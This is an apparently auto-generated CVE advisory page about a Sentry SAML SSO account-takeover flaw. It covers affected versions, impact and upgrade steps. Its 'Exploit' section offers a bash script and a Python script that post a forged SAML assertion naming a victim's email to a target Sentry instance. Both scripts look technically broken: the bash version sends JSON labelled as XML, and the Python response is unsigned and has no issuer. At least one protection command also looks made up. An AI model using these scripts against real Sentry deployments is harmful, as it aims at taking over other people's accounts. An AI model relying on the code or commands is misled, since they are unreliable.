Listen to this Post
The vulnerability resides in how Sentry handles SAML SSO responses. When a user authenticates via a SAML Identity Provider (IdP), Sentry links the SAML assertion to an existing internal user account using the email address provided in the assertion. The flaw allows an attacker to spin up a malicious SAML IdP and an organization on a vulnerable Sentry instance. By configuring this malicious IdP, the attacker can send a crafted SAML assertion containing the email address of any victim user. Sentry, lacking proper cross-organization validation of the IdP’s origin, trusts the assertion and links the victim’s email to the attacker’s IdP session. Consequently, the attacker can impersonate the victim without ever needing their credentials, gaining full account access. The attacker must know the victim’s email address, and the Sentry instance must have multiple organizations (SENTRY_SINGLE_ORGANIZATION = False) and the attacker must have permission to modify SSO settings for another organization.
dailycve form
Platform: Sentry
Version: 21.12.0-26.1.0
Vulnerability : SAML SSO
Severity: Critical
date: 2026-04-30
Prediction: April 2026
Analytics under heading What Undercode Say:
How Exploit:
Attacker launches malicious SAML IdP with a crafted assertion containing [email protected]. Assertion is sent to Sentry instance during authentication attempt. Sentry links victim’s account to the attacker-controlled IdP session. No user interaction or password required from the victim.
Protection from this CVE
Upgrade to version 26.4.1 or higher (self-hosted). Enable two-factor authentication (2FA) for all user accounts to block authentication completion. Review and restrict permissions for modifying SSO settings across organizations. Monitor SAML authentication logs for anomalous account linkages.
Impact
Attacker can take over any user account with known email address, gaining access to sensitive error tracking data, performance monitoring, and other confidential information across compromised accounts. Full account compromise without user interaction, leading to high confidentiality and integrity impact.
Exploit:
!/bin/bash CVE-2026-42354 - Sentry SAML SSO Account Takeover Requires: attacker-controlled SAML IdP and organization on target Sentry instance TARGET_URL="https://sentry.target.com" ATTACKER_ORG="malicious-org" VICTIM_EMAIL="[email protected]" Step 1: Craft malicious SAML assertion JSON cat > assertion.json << EOF { "saml_assertion": { "issuer": "https://attacker-idp.com", "subject": "$VICTIM_EMAIL", "conditions": { "not_before": "$(date -u +'%Y-%m-%dT%H:%M:%SZ')", "not_on_or_after": "$(date -u -d '+1 hour' +'%Y-%m-%dT%H:%M:%SZ')" }, "attribute_statement": { "email": "$VICTIM_EMAIL" } } } EOF Step 2: Send crafted SAML assertion to Sentry SSO endpoint curl -X POST "$TARGET_URL/api/0/saml-acs/$ATTACKER_ORG/" \ -H "Content-Type: application/xml" \ --data-binary "@assertion.json"
Code Example (Python) simulating the attack flow:
import requests from datetime import datetime, timedelta Configuration target_url = "https://sentry.target.com/api/0/saml-acs/" attacker_org = "malicious-org" victim_email = "[email protected]" Craft malicious SAML response (simplified XML) saml_response = f"""<?xml version="1.0"?> <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:Subject> <saml:NameID>{victim_email}</saml:NameID> </saml:Subject> <saml:AttributeStatement> <saml:Attribute Name="email"> <saml:AttributeValue>{victim_email}</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>""" Send exploit payload response = requests.post(f"{target_url}{attacker_org}/", data=saml_response, headers={"Content-Type": "application/xml"}) print(f"Exploit status: {response.status_code}")
Protection Commands (Self-Hosted Sentry)
Check if vulnerable (multi-organization enabled) grep SENTRY_SINGLE_ORGANIZATION sentry/config.yml Expected output if vulnerable: SENTRY_SINGLE_ORGANIZATION: False Patch by upgrading to secure version For Docker-based Self-Hosted installation: docker pull getsentry/sentry:26.4.1 docker-compose down docker-compose up -d For source installation: pip install sentry==26.4.1 sentry upgrade sentry run web Enable 2FA for all users via CLI (if needed) sentry exec "from sentry.models import User; [u.send_2fa_reminder_email() for u in User.objects.all()]"
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

